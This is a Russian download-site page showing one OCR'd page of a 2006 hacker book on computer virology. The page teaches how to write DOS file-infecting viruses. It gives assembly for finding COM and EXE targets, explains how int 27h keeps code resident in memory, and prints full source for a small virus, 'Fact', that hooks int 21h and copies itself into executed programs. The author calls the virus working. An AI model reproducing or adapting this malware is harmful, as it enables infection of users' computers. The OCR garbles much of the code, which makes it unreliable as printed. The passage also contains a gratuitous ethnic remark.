Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 35 36 37 38 39 40 < 41 > 42 43 44 45 46 47 .. 123 >> Следующая

обмена с диском).
Взгляните на этот код:
checkexec:
cmp ax,04b00h ;функция exec? je chk_com
chk_com: mov cs:[name_seg-6],ds mov cs:[name_off-6],dx cld проверяем
расширение
137
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
mov di.dx доя COM
push ds pop es
mov al,'.' ;ищем расширение
repne scasb {проверка для'COM'
cmp word ptr es:{di],'OC' {проверка 'CO' jne continu cmp word ptr
es:[di+2],'M' {проверка 'M' jne continu
Ядром вышеуказанного кода является инструкция 4repne scasb".
По сути, эта операция сканирует данные, пока не натыкается на расширения
файлового имени.
Далее нам нужно прочитать расширение и выяснить, является ли оно СОМ-
файлом.
Как нам лучше всего прочитать инструкцию? Может, просто повторять
сканирование строк до совпадения первого байта? Между прочим, <repne*
означает поиск первого совпадения. Если вам встретится инструкция "гере",
она означает поиск первого несовпадения.
Что касается "scasb", то его в AL нужно загрузить байтовым значением,
которое вы хотите найти с помощью сканирования. Эта операция сканирует в
памяти особую строку, определенную в es:di. Теперь вернемся на несколько
строк кода назад к инструкции cld (Clears Direction Flag - очистить флаг
направления). В строковых операциях она вызывает сканирование слева
направо. Нам остается лишь сравнить строку с расширением СОМ.
Другим распространенным методом для идентификации файла является поиск
строки MZ, которая всегда присутствует в начале заголовка ЕХЕ-файла. MZ -
это инициалы Марка Збиковски, программиста, создавшего формат ЕХЕ-файла
138
ГЛАВА 4. Вирус - резидент памяти
. В офсете 0 заголовка ЕХЕ-файла производится сравнение букв "ZM*
(компьютер читает их задом наперед) или их шестнадцатиричного эквивалента
4Dh 5ah. Ниже приводится пример такой операции. После открытия файла мы
производим чтение кода в буфере и сравниваем слово в начале буфера с ЕХЕ-
сигнатурой ("ZM").
mov ax,3d02h int 21 h xchg ax.bx
mov ah,3fh
lea dx,[bp+offset buffer] mov cx,1Ah int 21 h
cmp word ptr [bp+buffer],'ZM'
Получение резидентуры с помощью INT 27h
Вы знаете, что такое табу? Табу - это социальный запрет. Например, в
России запрещается ругать евреев, а в Палестине наоборот поощряется.
Среди программистов запрещается говорить об int 27h. Тем не менее, данное
прерывание существует, и с ним можно работать. Что же это за монстр? И
чем он так ужасен?
Int 27 являеся самым легким и быстрым способом написания резидентской
подпрограммы. В COM-файле при вызове int 27h программа прерывает свое
выполнение (Terminates), но код остается в памяти {Stay Resident).
Однако при использовании этого прерывания возникает проблема - прерванная
программа становится резидентом, но ее выполнение останавливается.
Следовательно, при выполнении инфицированной программы компьютер
заражается вирусом, и пользователь тут же получает сигнал о
подозрительной остановке программы.
139
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
Если пользователь - ламер, он перезапустит программу, и та будет
выполнена в нормальном режиме (при условии, что код вируса содержит
подпрограмму самораспознавания).
Почему же COM-файл прерывает выполнение при использовании int 27h? Что
при этом происходит? Многие невирусные TSR-программы действуют на фоне
основных программ, когда возникает определенное событие или условие. В
отличие от вирусмейкеров (которые заботятся о программах с чуткой
нежностью и лаской), разработчики невирусных TSR похожи на слонов в
посудной лавкё. Их не интересует судьба утилит после выполнения int 27h.
Фактически, такое прерывание было создано
программистом-пачкуном для ребят из той же категории.
При выполнении int 27h старушка DOS сохраняет память, занятую cs:dx, и
передает контроль COMMAND.COM. Это важный факт. Не забывайте перемещать
офсет в dx последней строки, загружаемой в память - прямо перед
выполнением прерывания. Когда вы пишите вирус с использованием int 27h,
начало резидентной части кода определяется в офсете нового вектора
прерывания (или dx, если используется функция 25h прерывания 21h).
Конечно, без примера тут мало что можно понять. Давайте рассмотрим
крохотный вирус Fact, который продемонстрирует нам эту технику. Код
вируса не оптимизирован. Это только пример базового использования int 27h
для становления резидентом памяти.
.model tiny .code org 100h
code_begin:
mov ax,3521h int 21 h
mov word ptr [int21_addr],bx mov word ptr [Int21_addr+02h],es
140
ГЛАВА 4. Вирус - резидент памяти
mov ah,25h
lea dx,int21_virus int 21h
xchg ax.dx int 27h
int21_virus proc near cmp ah,4bh jne int21_exit
mov ax,3d01h int 21 h xchg ax,bx
push cs pop ds
mov ah,40h
mov cx,(code_end-code_begin) lea dx,code_begin int2l_exit:
db Oeah code_end: int21_addr dd ? virus_name db '[Fact]' endp
end codebegin
Я уверен, что вы уже поняли структуру вируса. Для более эффективной
работы Fact нуждается в дополнительных функциях, но и в таком виде он
вполне дееспособный. Вирус можно разделить на два куска: первая часть -
Предыдущая << 1 .. 35 36 37 38 39 40 < 41 > 42 43 44 45 46 47 .. 123 >> Следующая